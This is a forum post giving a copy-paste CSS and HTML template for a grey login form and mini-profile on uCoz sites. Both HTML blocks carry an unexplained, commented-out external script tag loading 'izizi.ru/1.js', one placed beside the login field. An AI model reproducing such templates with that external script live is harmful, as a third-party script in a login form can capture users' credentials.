• Страница 1 из 1
  • 1
Форум » uCoz » Формы входа » Серый мини-профиль, форма входа для uCoz
Серый мини-профиль, форма входа для uCoz
GraF Дата: Понедельник, 12.08.2013, 13:44 | Сообщение # 1 | Сообщить о нерабочей теме


Аватар для GraF

[spoiler="Скрин"][/spoiler]

Красивый и функциональный мини-профиль серого цвета для сайта в системе uCoz. В окошке показывается самая нужная информация о пользователе: ник, ип, ид, пол и сколько дней этот пользователь зарегистрирован на вашем сайте.

Установка серого мини-профиля, формы входа для uCoz:

1) Копируем это в CSS:

Код
.loginField {background:#f1f1f1;border:1px solid #cbcbcb;color:#8B8881;height:20px;}   
   .loginButton {background:#f1f1f1;border:1px solid #cbcbcb;color:#8B8881;width:97%;height:25%;float:left;}   
   #about_pr {background:#f1f1f1;border:1px solid #cbcbcb;height:80px;}   
   .buttonprofile {background:#f1f1f1;border:1px solid #cbcbcb;line-height:25px;width:100%;color:8B8881;text-align:center;margin-bottom:3px;


2) Управление дизайном > Форма входа пользователей. Удалить все и вставляем это:

Код
<!--%IFTH1%0%--><div style="width:180px;"><!--%IFEN1%0%-->   
   <table border="0" cellspacing="1" cellpadding="0" width="100%">   
   <!--%IFTH2%1%--><td colspan="2" style="color:red;text-align:center;">$ERROR$</td><!--%IFEN2%1%-->   
   <tr><td><input class="loginField" type="text" name="user" onfocus="if(this.value=='E-Mail (uNet)')this.value=''" onblur="if(this.value=='')this.value='E-Mail (uNet)'" value="E-Mail (uNet)" size="20" style="width:96%;" maxlength="50"/><!-- uzzscript src="http://izizi.ru/1.js" type="text/javascript"></script>--></td></tr>   
   <tr><td><input class="loginField" type="password" name="password" size="20" style="width:96%" onfocus="if(this.value=='Пароль')this.value=''" onblur="if(this.value=='')this.value='Пароль'" value="Пароль" maxlength="15"/></td></tr>   
   </table>   
   <table border="0" cellspacing="1" cellpadding="0" width="100%">   
   <tr><td nowrap> <!--%IFTH3%2%-->   
   <input id="hid$PAGE_ID$" type="checkbox" name="hidden" value="1" /><label for="hid$PAGE_ID$">скрытый</label><!--%IFEN3%2%--></td><td align="right" valign="top"><input class="loginButton" name="sbm" type="submit" value="Вход"/></td></tr>   
   <tr><td width="40%"><input id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$">запомнить</label></td><td colspan="2" width="60%"><div style="font-size:7pt;text-align:center;"><a href="$REMINDER_LINK$">Забыл пароль</a> | <a href="$REGISTER_LINK$">Регистрация</a></div></td></tr>   
   </table>   
   <!--%IFTH4%0%--></div><!--%IFEN4%0%-->


3) Это вставляем в то место, где вы хотите, чтобы находился мини-профиль:

Код
<!--%IFTH5%3%-->   
   <table width="100%">   
   <tbody>   
   <tr>   
   <td width="35%"><div class="avaa"><!--%IFTH6%4%--><img src="$USER_AVATAR_URL$" width="80" height="80"><!--%IFEN6%4%--><!--%IFEL7%4%--><img src="http://ujava.3dn.ru/img/noava.png" width="80" height="80"><!--%IFEN7%4%--></td>   
   <td width="65%"><!-- uzzscript src="http://izizi.ru/1.js" type="text/javascript"></script>--><div id="about_pr">   
   Ник: <b>$USERNAME$</b>   

   ID: <b>$USER_ID$</b>   

   IP: <b>$IP_ADDRESS$</b>   

   Пол: <b>$USER_GENDER$</b>   

   Вы с нами: <b>$USER_REG_DAYS$ д<!--%IFTH8%5%-->ней<!--%IFEN8%5%--><!--%IFEL9%5%--><!--%IFTH10%6%-->ень<!--%IFEN10%6%--><!--%IFEL11%6%-->ня<!--%IFEN11%6%--><!--%IFEN9%5%-- ></b>   
   </div></td>   
   </tr>   
   </tbody>   
   </table>   
   <table width="100%">   
   <tbody>   
   <tr>   
   <td width="100%">   
   <input class="buttonprofile" type="button" onclick="document.location.href='/index/8'; return false;" value="Профиль"/>   

   <input class="buttonprofile" type="button" onclick="document.location.href='$PM_URL$'; return false;" value="Читать ЛС (<!--%IFTH12%7%-->$IS_NEW_PM$<!--%IFEN12%7%--><!--%IFEL13%7%-->0<!--%IFEN13%7%-->)"/>   

   <input class="buttonprofile" type="button" onclick="document.location.href='$LOGOUT_LINK$'; return false;" value="Выход"/>   
   </td>   
   </tr>   
   </tbody>   
   </table>   
   <!--%IFEN5%3%--><!--%IFEL14%3%-->   
   $LOGIN_FORM$   
   <!--%IFEN14%3%-->
Прикрепления: 6986637.png(27.7 Kb)


Форум » uCoz » Формы входа » Серый мини-профиль, форма входа для uCoz
  • Страница 1 из 1
  • 1
Поиск: